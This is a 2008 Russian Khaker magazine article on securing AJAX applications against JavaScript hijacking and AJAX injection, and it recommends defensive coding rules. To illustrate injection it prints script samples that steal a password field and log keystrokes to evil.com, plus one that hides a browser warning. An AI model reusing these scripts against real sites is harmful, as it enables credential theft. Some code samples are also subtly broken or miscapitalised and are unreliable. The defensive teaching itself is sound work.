Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 120, ДЕКАБРЬ 2008 г.

Твердокаменный AJAX: защищаем веб-приложения, построенные на популярных AJAX-фреймворках

Николай Байбородин (baiborodin@gmail.com)




Год назад об AJAX говорили как о новой перспективной технологии, но сегодня он как-то выпал из поля зрения. Значит ли это, что AJAX не оправдал надежд и постепенно уходит в историю? Нет и еще раз нет. AJAX – это технология back-end, реализация которой перешла с прикладного уровня на уровень фреймворков.

Передовая линия обороны

Лежащие в основе огромного числа веб-проектов Dojo, Google Web Toolkit, jQuery, Prototype, в свою очередь, являются дружественной к разработчику реализацией AJAX. А задумывался ли ты о потенциальных брешах в безопасности, прикручивая к своему проекту один из упомянутых фреймворков?

Если ты не хочешь отдать свой веб-проект на растерзание стае скрипт-киддисов, то просто обязан знать об основной уязвимости AJAX-приложений. Эта уязвимость носит архитектурный характер. Другими словами, полноценного решения проблемы не существует и вряд ли когда-нибудь появится. Все, что ты можешь сделать – это минимизировать риск возможного взлома, предприняв ряд целенаправленных действий. Знакомься с мистером проблемой номер один – Hijacking!

Чтобы эффективно противодействовать этому виду атаки на AJAX-приложения, неплохо было бы разобраться с тем, как эта ботва работает. Если говорить в двух словах, то в основе AJAX лежит обмен сообщениями между сервером и клиентом посредством JavaScript-сообщений. Hijacking нацелен на перехват таких сообщений (в которых можно найти много вкусностей). Традиционный обмен сообщениями между веб-клиентом и сервером лучше защищен от подобных атак благодаря технологии SOP (Same Origin Policy). Какой-либо защиты сообщений, формируемых с помощью JavaScript, пока не наблюдается. Кстати говоря, это должно быть головной болью разработчиков веб-браузеров, но они просто игнорируют проблему (что должно играть на руку читателям другой рубрики нашего журнала – «Взлом»). О том, что проблема не нова, свидетельствует следующий факт: достаточно давно существует еще одна реализация данной уязвимости, не имеющая никакого отношения к AJAX – CSRF (Cross-site Request Foregery). Некоторые подробности, касающиеся CSRF, ты найдешь на врезке. Здесь же только отметим, что применительно к JavaScript проблема становится еще более серьезной, так как злоумышленник теперь может не только изменять, но и читать передаваемые сообщения. Демонстрируя серьезность проблемы, достаточно будет сказать, что впервые она была обнаружена ни где-нибудь, а в самом Gmail.

Для защиты от атаки типа Hijacking запомни, прежде всего, простую, как трехдюймовая дискета, истину – если веб-приложение надежно защищено от XSS, это еще не говорит о его защите от Hijacking. Чтобы сделать AJAX-приложение максимально непробиваемым, нужно, во-первых, сделать невозможным прямое выполнение JS-ответа. Во-вторых, нужно организовать отсылку в известном направлении всех кривых или просто подозрительных запросов. Начнем со второго пункта. Для того чтобы спалить всех хитрозадых, достаточно будет использовать в шаблоне запроса параметр, со слепым подбором которого могут возникнуть траблы. К примеру, это может быть идентификатор сессии. Всякая ошибка в этом параметре будет расцениваться как сигнал о попытке взлома. Если по каким-то причинам у тебя нет возможности использовать параметры сессии, можно обойтись защитой на стороне сервера, настроив его на обработку только POST-запросов. Фишка в том, что задействованный при Hijacking тег <script> подтягивает внешние скрипты с помощью GET-запроса.

Чтобы сделать невозможным для злонамеренного сайта выполнить ответ, который включает в себя JavaScript, приложение клиента может воспользоваться тем, что ему разрешено изменять данные, которое оно получает перед тем, как выполнить ответ (в то время как злонамеренное приложение может лишь выполнить его, используя тэг <script>).

Когда сервер преобразовывает объект, тот должен иметь специальный префикс (и даже суффикс), который сделал бы невозможным выполнение JS-скрипта посредством тэга <script>. Приложение клиента может убрать дополнительные конструкции, перед тем как выполнить ответ сервера. Существует множество реализаций этого подхода. Мы выделим лишь два их них.

1. Сервер может сопровождать каждое сообщение следующей конструкцией:

while(1);

Если клиент не вырежет данное выражение, то выполнение подобного сообщения JS-интерпретатором приведет к бесконечному циклу. Способ использовал Google, чтобы устранить уязвимость, обнаруженную Гроссманом. Клиент проводит поиск и вырезает дополнительную конструкцию:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
if (txt.substr(0,9) == "while(1);") {
txt = txt.substring(10);
}
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);

2. Сервер может заключить JavaScript символами комментария, которые впоследствии должны быть вырезаны (перед тем, как JS-код отправится на выполнение). Следующий JSON-объект окружен символами многострочного комментария:

/*
[{"fname":"Nicholas", "lname":"Baiborodin",
"phone":"322-233",
"purchases":60000.00, "email":
"baiborodin@gmail.com" }
]
*/

Клиент может искать и вырезать комментарии следующим образом:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
if (txt.substr(0,2) == "/*") {
txt = txt.substring(2, txt.length - 2);
}
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);

Распределенные приложения или еще один кошмар на голову веб-кодера

С тенденцией, как говорится, не поспоришь. А тенденция сегодня такова, что девелоперы стройными рядами двинулись в Сеть, особо не задумываясь над вопросом «а нафига?». Трудно себе представить такое приложение, для которого бы не нашлось веб-аналога. Есть все – от блокнота до целых операционных систем с полным набором прикладного софта и продвинутым пользовательским интерфейсом. По своей природе такие приложения имеют двухуровневую архитектуру – движок крутим на сервере, а на стороне клиента через браузер реализуем пользовательский интерфейс. Естественно, разработчики в большинстве своем не пацаны сопливые, а потому понимают, что для серверной части приложения наиболее эффективными будут одни технологии и языки программирования, а для клиентской – совсем другие.К тому же, одна серверная платформа может работать с совершенно разными клиентскими реализациями. Что совершенно логично – будь то коктейль из HTML и JavaScript, или традиционное оконное приложение на C#, все они прекрасно найдут общий язык с серверной частью приложения посредством http-протокола и одного из XML-диалектов. Но это на бумаге все так гладко, а на практике… суди сам.

Допустим, серверное приложение написано на Java. В ответ на клиентский запрос оно возвращает один из элементов своего массива. Только вот в одних языках программирования индексация массивов начинается с нуля, а в других – с единицы со всеми вытекающими отсюда последствиями. Для того чтобы обезопасить себя от связанных с этим недоразумений, я бы посоветовал запросы к элементам массива прятать за более безопасными интерфейсами, используя где возможно вместо конструкции Foo = bar[2] что-нибудь вроде foo = barshop.getByName(“marijuana”) или foo=barshop.getById(999).

Другая проблема – обработка строковых данных.Например, функция замены символов. В C# функция String.Replace() заменяет все вхождения своего первого аргумента на второй.В JavaScript аналогичная функция заменяет только первое вхождение! А это значит, что прямой проброс функций чреват новыми проблемами, будь они неладны:

// C#
String text = “foo foo foo foo”;
text = text.Replace(“foo”, “bar”);
// результат – строка “bar bar bar bar”

//JavaScript
var text = “foo foo foo foo”;
text = text.Replace(“foo”, “bar”);
// результат – строка “bar foo foo foo”

Представь, что тебе нужно вычищать все явки-пароли из клиентских запросов (по причине чьей кривизны рук они туда попали, – это отдельный вопрос). Итак, желая перестраховаться от ошибок кодеров, наваявших свои нетленки, выступающие в роли клиентов нашего серверного приложения, мы с помощью RPC обращаемся к функции String.replace(). Не принимая во внимание платформы клиента, можно столкнуться с продемонстрированной выше ситуацией. Если ты не любитель попасть на проблемы, не забывай проверять платформу клиента перед вызовом удаленных процедур. Кстати говоря, это далеко не единственная проблема со строками. Вот тебе еще пример – извлечение подстроки. В C# метод String.Substring() вызывается с двумя параметрами. Первый – начальная позиция подстроки, и второй – ее длина. Аналогичный метод, с таким же точно названием, есть в JavaScript. Да вот незадача, второй параметр указывает не на длину подстроки, а на позицию последнего символа:

//C#
auth = “pass=pup_v, user=vas”;
string pwd = auth.Substring(5, 5);
// pass = pup_v

//JavaScript
auth = “pass=pup_v, user=vas”;
string pwd = auth.Substring(5, 5);
// результат –“”

AJAX Injection

Про SQL Injection не писал только ленивый, и, я надеюсь, ты уже давно усвоил, как следует защищать свои веб-приложения от несанкционированного доступа злобных хакеров баз данных. Используя AJAX-фреймворки, тебе придется помнить еще и об AJAX Injection. Эта зараза особенно актуальна для Mashup-приложений, которые в последнее время интенсивно завоевывают популярность на просторах глобальной Сети. Тех, кто все еще находится в танке относительно Mashup, я отсылаю к одной из врезок. Здесь же я ограничусь констатацией того факта, что Mashup за счет AJAX объединяет несколько сетевых ресурсов в одно веб-приложение. Потенциальная опасность заключается в том, что с помощью XSS можно подменить легитимный JavaScript какой-нибудь нечистью.

Ниже ты увидишь несколько примеров для затравки (надеюсь, ты не собираешься заниматься всякими глупостями). Имея доступ к DOM-структуре, можно поиметь чужие кукисы и заветную последовательность символов из поля password:

function foo(){
var pass = document.getElementById
("password").value;
document.images[0].src=
"http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = foo;

Именно благодаря своей асинхронной природе запрос пролезет незамеченным сквозь все линии обороны. Вот еще пример:

function keylogger(e){
document.images[0].src =
"http://evil.com/logger?key="
+ e.keyCode;
};
document.body.addEventListener("keyup",
keylogger, false);

Здесь мы тырим приватные данные уже через другой проход (ой!) с помощью своеобразного веб-килогера, который передает на удаленный сервер всю вводимую пользователем на странице информацию. Конечно, сейчас речь не о том, как мониторить переписку своей подружки на почтовике с веб-интерфейсом, а о том, как самому уберечься от подобных косяков.

К счастью, веб-браузеры в последнее время достаточно поумнели, предупреждая беспомощного юзера о возможных проблемах. С недавнего времени эту же функцию взяли на себя и поисковики. Однако, в большинстве случаев все предупреждения выводятся посредством HTML. А как ты уже знаешь, через AJAX Injection можно перекраивать DOM-структуру как душе угодно:

// Бубнилка, предупреждающая пользователя
...
<style type="text/cuss"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to
potentially malicious Web pages, so be careful. </div>
...

// А вот так ее можно заставить замолчать
var e = document.getElementById("warning");
e.style.color= "white";

Правильный AJAX

Как видишь, AJAX-приложения имеют много уязвимых мест. Через них над твоим веб-проектом могут надругаться с особой изощренностью, свойственной разве что производителям жестких хентай-комиксов (будучи злым японским программистом, Николай наверняка знает в этом толк! – Прим. ред.). Что же делать? Бояться каждого чиха за углом и гонять только голый HTML? Абсурд! Все, что от тебя требуется, гринго, это усвоить несколько базовых правил создания безопасных AJAX-приложений.

Первое, что нужно сделать, – это позаботиться о фильтрации подозрительных данных. Для этих целей есть два зарекомендовавших себя способа, известные как blacklisting (список запрещенных символов и их последовательностей) и whitelisting (список разрешенных символов). Можешь использовать тот подход, который ближе к твоему желудку, но многие крутые челы сходятся во мнении, что whitelisting все же надежней будет.

Не пренебрегай системами автоматизации поиска ошибок в веб-приложениях. Ведь есть очень простое правило – либо ты сам себя проверишь, либо тебя проверят. И последствия будут, мягко говоря, печальные.

Динамическая генерация кода – абсолютное зло. Это еще одна непреложная истина AJAX-программирования. Забудь про то, что вообще существует такая функция, как eval(), выполняющая любую текстовую строку как JavaScript-код.

Не переоценивай возможности JSON. Всегда держи в голове (даже если в ней вместо мозга плещется литр жигулевского), что JSON – тот же JavaScript. А значит, возможны всякие нежелательные ситуации. Например, с помощью той же функции eval() злоумышленник может преобразовать JSON-объекты, защищенные от операций присвоения и активизации, в обычные JavaScript-объекты.

Для защиты JSON ты можешь воспользоваться регулярными выражениями, проверяющими принимаемую строку на предмет отсутствия активных фрагментов. Как это сделать, можешь посмотреть на примере:

var my_JSON_object =
!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&
eval('(' + text + ')');

Ну, а если ты хочешь раз и навсегда избавиться от подобных проблем с отравленными строками в JSON, юзай синтаксические JSON-анализаторы, и будет тебе счастье.

И, наконец, всегда проверяй единство происхождения критических DOM-элементов. Это легко сделать с помощью тега <iflame>, предоставив данным из разных источников отдельный контекст выполнения JavaScript и предотвратив Hijackingатаку на свое приложение.

Самое главное

Подошло к концу журнальное место, отпущенное под статью. Подошел к концу и 2008 год. Это был непростой, но блистательный год для нашей страны, отмеченный массой побед и триумфов. Не подкачали и братья IT’шники, отметившиеся на Imagine Cup. А потому, позволь мне, откупорив бутылочку любимого самурайского пива, проводить уходящий год и поздравить тебя с наступающим 2009 годом! Что касается традиционных новогодних пожеланий, то скажу так: стабильного тебе линка и вечного аптайма! Встретимся в новом году, камрад!

Факты о Dojo

Dojo (доджо) — свободная модульная JavaScript-библиотека. Разработана с целью упростить ускоренную разработку основанных на JavaScript или AJAX приложений и сайтов. Разработка библиотеки была начата Алексом Русселом в 2004 году. Находится либа под двойной лицензией: BSD License и Academic Free License. Dojo Foundation — некоммерческая организация, созданная для продвижения Dojo. Dojo используется в Zend Framework, начиная с версии 1.6.0.

Prototype — JavaScript-фреймворк, упрощающий работу с Ajax и некоторыми другими функциями. Несмотря на его доступность в виде отдельной библиотеки, он обычно используется программистами вместе с Ruby on Rails, script.aculo.us и Rico. Заявлено что этот фреймворк поддерживается следующими браузерами: Internet Explorer (Windows) 6.0, Mozilla Firefox 1.5, Apple Safari 2.0 и Opera 9.25 (естественно, и их более поздние версии). Поддержка браузеров также подразумевает, что фреймворк поддерживается Camino, Konqueror, IceWeasel, Netscape 7+, SeaMonkey, и др., которые принадлежат тем же семействам.

Что почитать

Книга посвящена технологии веб-программирования Ajax, стоящей на ступень выше базовых DHTML и JavaScript. С помощью Ajax можно создавать интерактивные веб-приложения, отличающиеся быстродействием и высокой производительностью. Эта книга ответит на вопрос, как асинхронные запросы используются в технологии Ajax, и поможет выйти на новый уровень в создании веб-приложений. Особенностью издания является уникальный способ подачи материала, ярко выделяющий серию «Head First» издательства O'Reilly в ряду множества стандартных книг, посвященных программированию.

CD

На диске ты найдешь наиболее популярные AJAX-фреймворки: Dojo, GWT, jQuery, Prototype, Atlas.

INFO

Hijacking в переводе с английского на великий и могучий означает нападение, ограбление и даже угон самолета.

WWW

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001